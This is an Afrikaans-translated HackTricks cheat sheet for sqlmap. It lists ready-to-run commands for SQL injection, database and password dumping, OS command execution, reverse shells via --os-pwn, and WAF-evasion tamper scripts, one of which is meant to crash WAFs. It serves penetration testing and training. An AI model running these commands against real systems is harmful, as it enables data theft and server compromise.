SQLMap

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese argumente vir SQLmap

Algemeen

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Tegniek-vlagte (--technique)

Die --technique argument bepaal watter SQL injection-metodes sqlmap sal probeer. Elke karakter in die string verteenwoordig ’n tegniek:

LetterTechniqueBeskrywing
BBoolean-based blindGebruik true/false-voorwaardes om data af te lei
EError-basedBenut uitgebreide DBMS-foutboodskappe om resultate uit te haal
UUNION queryInspuit UNION SELECT-instruksies om data via dieselfde kanaal te haal
SStacked queriesVoeg addisionele statements by, geskei deur ;
TTime-based blindSteun op vertragings (SLEEP, WAITFOR) om injeksie op te spoor
QInline / out-of-bandGebruik funksies soos LOAD_FILE() of OOB-kanale soos DNS

Standaard volgorde is BEUSTQ. Jy kan dit herskik of beperk, bv. slegs Boolean en Time-based in daardie volgorde:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Verkry Inligting

Intern

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB data

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection plek

Vanaf Burp/ZAP vaslegging

Vasvang die request en skep ’n req.txt-lêer

sqlmap -r req.txt --current-user

GET Versoek Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Inspuitings in Headers en ander HTTP-metodes

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Kruip ’n webwerf met SQLmap en auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Aanpassing van Injection

Stel ’n agtervoegsel in

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Voorvoegsel

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Hulp om boolean injection te vind

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperBeskrywing
apostrophemask.pyVervang die enkele aanhalingsteken-karakter met sy UTF-8 volwydte-ekwivalent
apostrophenullencode.pyVervang die enkele aanhalingsteken-karakter met sy onwettige dubbel-unicode-ekwivalent
appendnullbyte.pyVoeg ’n gekodeerde NULL-byte-karakter by die einde van die payload
base64encode.pyBase64 alle karakters in ’n gegewe payload
between.pyVervang die groter-as-operator (‘>’) met ‘NOT BETWEEN 0 AND #’
bluecoat.pyVervang die spasiekarakter na ’n SQL-stelling met ’n geldige ewekansige leë karakter. Daarna vervang die karakter = met LIKE-operator
chardoubleencode.pyDubbel URL-enkodeer alle karakters in ’n gegewe payload (verwerk nie reeds gekodeerde karakters nie)
commalesslimit.pyVervang voorbeelde soos ‘LIMIT M, N’ met ‘LIMIT N OFFSET M’
commalessmid.pyVervang voorbeelde soos ‘MID(A, B, C)’ met ‘MID(A FROM B FOR C)’
concat2concatws.pyVervang voorbeelde soos ‘CONCAT(A, B)’ met ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’
charencode.pyURL-enkodeer alle karakters in ’n gegewe payload (verwerk nie reeds gekodeerde karakters nie)
charunicodeencode.pyUnicode-URL-enkodeer nie-gekodeerde karakters in ’n gegewe payload (verwerk nie reeds gekodeerde karakters nie). “%u0022”
charunicodeescape.pyUnicode-URL-enkodeer nie-gekodeerde karakters in ’n gegewe payload (verwerk nie reeds gekodeerde karakters nie). “\u0022”
equaltolike.pyVervang alle voorkoms van die gelykheidsoperator (‘=’) met die ‘LIKE’-operator
escapequotes.pySlas-ontvlug aanhalingstekens (’ en “)
greatest.pyVervang die groter-as-operator (‘>’) met sy ‘GREATEST’-ekwivalent
halfversionedmorekeywords.pyVoeg ’n weergawe-gebaseerde MySQL-kommentaar voor elke sleutelwoord by
ifnull2ifisnull.pyVervang voorbeelde soos ‘IFNULL(A, B)’ met ‘IF(ISNULL(A), B, A)’
modsecurityversioned.pyOmsluit die volledige query met ’n weergawe-gebaseerde kommentaar
modsecurityzeroversioned.pyOmsluit die volledige query met ’n nul-weergawe kommentaar
multiplespaces.pyVoeg veelvuldige spasies rondom SQL-sleutelwoorde by
nonrecursivereplacement.pyVervang voorafgedefinieerde SQL-sleutelwoorde met voorstellings geskik vir vervanging (e.g. .replace(“SELECT”, “”)) filters
percentage.pyVoeg ‘n persentasie-teken (’%’) voor elke karakter by
overlongutf8.pyOmskep alle karakters in ’n gegewe payload (verwerk nie reeds gekodeerde karakters nie)
randomcase.pyVervang elke sleutelwoord-karakter met ’n ewekansige hoofletter/kleinletter-kombinasie
randomcomments.pyVoeg ewekansige kommentaar by SQL-sleutelwoorde
securesphere.pyVoeg ’n spesiaal saamgestelde string by
sp_password.pyVoeg ‘sp_password’ by die einde van die payload vir outomatiese obfuskering van DBMS-loglêers
space2comment.pyVervang die spasiekarakter (’ ’) met kommentaar
space2dash.pyVervang die spasiekarakter (’ ’) met ‘n strepie-kommentaar (’–’) gevolg deur ’n ewekansige string en ‘n nuwe reël (’\n’)
space2hash.pyVervang die spasiekarakter (’ ’) met ‘n pond-karakter (’#’) gevolg deur ’n ewekansige string en ‘n nuwe reël (’\n’)
space2morehash.pyVervang die spasiekarakter (’ ’) met ‘n pond-karakter (’#’) gevolg deur ’n ewekansige string en ‘n nuwe reël (’\n’)
space2mssqlblank.pyVervang die spasiekarakter (’ ’) met ’n ewekansige leë karakter uit ’n geldige stel alternatiewe karakters
space2mssqlhash.pyVervang die spasiekarakter (’ ’) met ‘n pond-karakter (’#’) gevolg deur ‘n nuwe reël (’\n’)
space2mysqlblank.pyVervang die spasiekarakter (’ ’) met ’n ewekansige leë karakter uit ’n geldige stel alternatiewe karakters
space2mysqldash.pyVervang die spasiekarakter (’ ’) met ‘n strepie-kommentaar (’–’) gevolg deur ‘n nuwe reël (’\n’)
space2plus.pyVervang die spasiekarakter (’ ’) met ‘n plusteken (’+’)
space2randomblank.pyVervang die spasiekarakter (’ ’) met ’n ewekansige leë karakter uit ’n geldige stel alternatiewe karakters
symboliclogical.pyVervang AND en OR logiese operatore met hul simboliese teenposte (&& and ||)
unionalltounion.pyVervang ‘UNION ALL SELECT’ met ‘UNION SELECT’
unmagicquotes.pyVervang die aanhalingstekenkarakter (’) met ’n multi-byte combo %bf%27 tesame met ’n generiese kommentaar aan die einde (om dit te laat werk)
uppercase.pyVervang elke sleutelwoord-karakter met hoofletterwaarde ‘INSERT’
varnish.pyVoeg ’n HTTP-opskrif ‘X-originating-IP’ by
versionedkeywords.pyOmsluit elke nie-funksie sleutelwoord met ’n weergawe-gebaseerde MySQL-kommentaar
versionedmorekeywords.pyOmsluit elke sleutelwoord met ’n weergawe-gebaseerde MySQL-kommentaar
xforwardedfor.pyVoeg ’n vals HTTP-opskrif ‘X-Forwarded-For’ by
luanginxmore.pyPOST-only tamper wat miljoene dummy-parameters voor jou payload plaas om Lua‑Nginx WAF-parsers uit te put (e.g., Cloudflare).

luanginxmore genereer ~4.2M ewekansige POST-parameters voor jou payload; gebruik dit slegs met --method=POST en verwag groot versoekgroottes wat swak gekonfigureerde Lua-Nginx WAFs kan laat crash.

Onlangse skakelaars wat die moeite werd is om te aktiveer (>=1.9.x)

  • HTTP/2 transport: --http2 dwing sqlmap om HTTP/2 te gebruik (nuttig teen front-ends wat HTTP/1.1 tempo-beperk maar h2 verslap). Kombineer met --force-ssl om HTTPS vas te pen.
  • Proxy-rotasie: --proxy-file proxies.txt --proxy-freq 3 sal deur ’n lys roteer, die proxy elke 3 versoeke verander om IP-gebaseerde tempo-beperkings te vermy.
  • Offline / purge-modusse: --offline hergebruik gekasde sessie-data sonder om die teiken te raak (geen netwerkverkeer nie), terwyl --purge die sessie/output-direktorie veilig uitvee wanneer jy klaar is.
  • Mobile UA-emulasie: --mobile vra jou om ’n populêre slimfoon User-Agent na te boots, nuttig op APIs wat ekstra velde vir mobiele kliënte openbaar.

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks